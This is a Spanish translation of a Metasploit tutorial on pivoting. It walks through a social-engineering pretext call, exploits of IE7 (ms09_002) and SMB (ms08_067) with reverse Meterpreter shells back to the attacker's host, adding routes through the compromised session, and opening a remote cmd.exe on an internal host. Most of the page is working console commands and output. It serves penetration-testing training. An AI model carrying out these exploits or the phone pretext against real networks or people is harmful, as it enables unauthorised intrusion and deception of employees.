Pivoting
De www.metasploit-es.com.ar
Pivoting
Pivoting es una técnica que utiliza una única instancia que sea capaz de "mover" cualquier tipo de trafico en una red. (también conocida como 'plant' o 'foothold'). Básicamente utilizando el primer compromiso, por ejemplo, nos permite e incluso nos ayuda en la penetración de otros sistemas inaccesibles. En este caso lo utilizaremos para encaminar el trafico de una red, normalmente no-routeable.
Imaginemos... Por ejemplo, nosotros somos pentesters de Security-R-Us. Bueno vale, tu vas y echas un vistazo en los directorios de esa empresa, y encuentras a la pobre “Mary J. Swanson” en recursos humanos en el index de la web de Sneaks.IN. Tu le llamas por teléfono a esa tal “Mary J. Swanson” y le dices que eres del grupo de seguridad “Tecnología de la Información”, que la necesitas para ir a corregir el ordenador del “trafico sospechoso”. Bueno pues, ella corre a visita su web para ayudarte, y anda que bien, es el I.Exprorer corriendo todavia con su ultima vulnerabilidad.
msf > use windows/browser/ms09_002_memory_corruption msf exploit(ms09_002_memory_corruption) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. SRVPORT 80 yes The local port to listen on. SSL false no Use SSL URIPATH / no The URI to use for this exploit (default is random) Exploit target: Id Name -- ---- 0 Windows XP SP2-SP3 / Windows Vista SP0 / IE 7 msf exploit(ms09_002_memory_corruption) > set SRVPORT 80 SRVPORT => 80 msf exploit(ms09_002_memory_corruption) > set URIPATH / URIPATH => / msf exploit(ms09_002_memory_corruption) > set PAYLOAD windows/patchupmeterpreter/reverse_tcp PAYLOAD => windows/patchupmeterpreter/reverse_tcp msf exploit(ms09_002_memory_corruption) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. SRVPORT 80 yes The local port to listen on. SSL false no Use SSL URIPATH / no The URI to use for this exploit (default is random) Payload options (windows/patchupmeterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process LHOST yes The local address LPORT 4444 yes The local port Exploit target: Id Name -- ---- 0 Windows XP SP2-SP3 / Windows Vista SP0 / IE 7 msf exploit(ms09_002_memory_corruption) > set LHOST 10.10.1.109 LHOST => 10.10.1.109 msf exploit(ms09_002_memory_corruption) > set LPORT 8080 LPORT => 8080 msf exploit(ms09_002_memory_corruption) > exploit -j [*] Exploit running as background job. msf exploit(ms09_002_memory_corruption) > [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://10.10.10.243:80/ [*] Server started.
Nuestro ataque de ingeniería social ha sido todo un éxito! Mas o menos como los asiáticos y Google hace poco tiempo. Pobre Mary Swanson se ha conectado a la página web y, sin saberlo, ha dado pleno acceso a su computadora.
[*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://10.10.1.109:80/ [*] Server started. [*] Sending Internet Explorer 7 Uninitialized Memory Corruption Vulnerability to 10.10.1.104:62238... [*] Sending Internet Explorer 7 Uninitialized Memory Corruption Vulnerability to 10.10.1.104:62238... [*] Transmitting intermediate stager for over-sized stage...(216 bytes) [*] Sending Internet Explorer 7 Uninitialized Memory Corruption Vulnerability to 10.10.1.104:62238... [*] Sending stage (2650 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (205835 bytes)... [*] Upload completed. [*] Meterpreter session 1 opened (10.10.1.109:8080 -> 10.10.1.104:62239) msf exploit(ms09_002_memory_corruption) > sessions -l Active sessions =============== Id Description Tunnel -- ----------- ------ 1 Meterpreter 10.10.1.109:8080 -> 10.10.1.104:62239 msf exploit(ms09_002_memory_corruption) >
Vale, que bien. La cuestión es... ¿A donde vamos ahora???
De alguna u otra manera tenemos que elevar nuestro acceso todavía más y más aun en la red. No se si lo abéis notado, pero hemos utilizado un Payload REVERSE Meterpreter. Observe las maquinas de ataque, el IP está en una sub-red diferente de la de la maquina de las víctimas. La dirección IP víctima es 10.211.55.140 y nuestro ataque proviene de 10.10.1.109 ¿Cómo podemos lanzar ataques contra otros sistemas en la red? Si queremos ir detrás de otra dirección en 10.221.55.128, tenemos que dar la vuelta a la conexión y así explotar el sistema. Vamos allá.
Empezaremos por interactuar con la sesión Meterpreter y anotaremos siempre nuestra dirección IP frente a las víctimas... Tecleamos el comando 'route' para ver las sub-redes disponibles en el PC de la víctima.
msf exploit(ms09_002_memory_corruption) > sessions -l Active sessions =============== Id Description Tunnel -- ----------- ------ 1 Meterpreter 10.10.1.109:8080 -> 10.10.1.104:62239 msf exploit(ms09_002_memory_corruption) > ifconfig [*] exec: ifconfig eth0 Link encap:Ethernet HWaddr 00:0d:29:d9:ec:cc inet addr:10.10.1.109 Bcast:10.10.1.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fee8:ebe7/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:14826 errors:12824 dropped:0 overruns:0 frame:0 TX packets:6634 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:7542708 (7.5 MB) TX bytes:2385453 (2.3 MB) Interrupt:19 Base address:0x2024 msf exploit(ms09_002_memory_corruption) > sessions -i 1 [*] Starting interaction with 1... meterpreter > route Network routes ============== Subnet Netmask Gateway ------ ------- ------- 0.0.0.0 0.0.0.0 10.211.55.2 10.211.55.0 255.255.255.0 10.211.55.140 10.211.55.140 255.255.255.255 127.0.0.1 10.255.255.255 255.255.255.255 10.211.55.140 127.0.0.0 255.0.0.0 127.0.0.1 224.0.0.0 240.0.0.0 10.211.55.140 255.255.255.255 255.255.255.255 10.211.55.140 meterpreter > Background session 1? [y/N]y
Con esta valiosa información en la mano, se le añade la nueva ruta a Metasploit utilizando la subred y la máscara de red de la víctima y señalando que el número de sesiónes Meterpreter sea solo "1" en este caso, claro. Ahora ejecutaremos el comando 'route print' y nos mostrará las rutas disponibles para nosotros.
msf exploit(ms09_002_memory_corruption) > route add 10.211.55.0 255.255.255.0 1 msf exploit(ms09_002_memory_corruption) > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 10.211.55.0 255.255.255.0 Session 1 msf exploit(ms09_002_memory_corruption) >
Ahora vamos a utilizar nuestra nueva ruta para explotar un sistema más dentro de la red de la víctima.
msf exploit(ms09_002_memory_corruption) > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set PAYLOAD windows/patchupmeterpreter/reverse_tcp PAYLOAD => windows/patchupmeterpreter/reverse_tcp msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/patchupmeterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LHOST yes The local address LPORT 4444 yes The local port Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > set RHOST 10.211.55.128 RHOST => 10.211.55.128 msf exploit(ms08_067_netapi) > set LPORT 9000 LPORT => 9000 msf exploit(ms08_067_netapi) > set LHOST 10.10.1.109 LHOST => 10.10.1.109 msf exploit(ms08_067_netapi) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Automatically detecting the target... [*] Fingerprint: Windows 2003 Service Pack 2 - lang:English [*] Selected Target: Windows 2003 SP2 English (NX) [*] Triggering the vulnerability... [*] Transmitting intermediate stager for over-sized stage...(216 bytes) [*] Sending stage (2650 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (205835 bytes)... [*] Upload completed. [*] Meterpreter session 2 opened (10.10.1.109:9000 -> 10.10.1.104:62260) meterpreter > Background session 2? [y/N]y
Parece que otra vez tenemos éxito. Vamos a confirmar que estamos donde queremos estar.
msf exploit(ms08_067_netapi) > sessions -l Active sessions =============== Id Description Tunnel -- ----------- ------ 1 Meterpreter 10.10.1.109:8080 -> 10.10.1.104:62239 2 Meterpreter 10.10.1.109:9000 -> 10.10.1.104:62260 msf exploit(ms08_067_netapi) > sessions -i 2 [*] Starting interaction with 2... meterpreter > execute -f cmd.exe -i Process 3864 created. Channel 1 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32> ipconfig ipconfig Windows IP Configuration Ethernet adapter Local Area Connection 6: Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 10.211.55.128 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.211.55.2 C:\WINDOWS\system32>
Birra para todos :D!!! hemos tenido éxito si, en esta explotación, comprometiendo la red 10.211.55.0/24 y los hosts normalmente no routeables.
Tenemos ahora un acceso total a 10.211.55.140 y 10.211.55.128, si te paras a observar nos dice que 10.10.1.109 está conectado a 10.10.1.104, observe también que nosotros hicimos un Payload REVERSE y que 10.10.1.104 es la dirección IP externa. El 10.211.55.128 y 10.211.55.140 NAT están detrás del 10.10.1.104 router.
© Offensive Security 2009
Original by www.offensive-security.com Traslated by FreeInfo